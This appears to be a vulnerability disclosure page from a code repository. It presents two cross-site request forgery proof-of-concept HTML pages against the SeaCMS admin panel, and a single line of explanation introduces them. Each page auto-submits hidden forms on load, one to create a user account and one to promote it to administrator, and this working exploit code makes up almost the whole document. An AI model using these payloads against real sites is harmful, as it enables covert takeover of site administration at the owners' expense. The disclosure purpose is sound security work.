Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

There is two CSRF vulnerability that can add the administrator account.

After the administrator logged in, open the following two page poc: one.html---add a user

<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='username' value='aaaaaaa' />";
fields += "<input type='hidden' name='pwd' value='aaaaaa' />";  
fields += "<input type='hidden' name='pwd2' value='aaaaaa' />";  
fields += "<input type='hidden' name='groupid' value='2' />";  


var url = "http://127.0.0.1/seacms/adm1n/admin_manager.php?action=add";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>

two.html---add a admin

<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='username' value='aaaaaaa' />";
fields += "<input type='hidden' name='pwd' value='aaaaaaa' />";  
fields += "<input type='hidden' name='pwd2' value='aaaaaaa' />";  
fields += "<input type='hidden' name='groupid' value='1' />";  
fields += "<input type='hidden' name='state' value='1' />";  
fields += "<input type='hidden' name='v_eidtsubmit' value='%E4%BF%AE%E6%94%B9%E7%AE%A1%E7%90%86%E5%91%98' />";  
 

var url = "http://127.0.0.1/seacms/adm1n/admin_manager.php?action=save&id=2";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>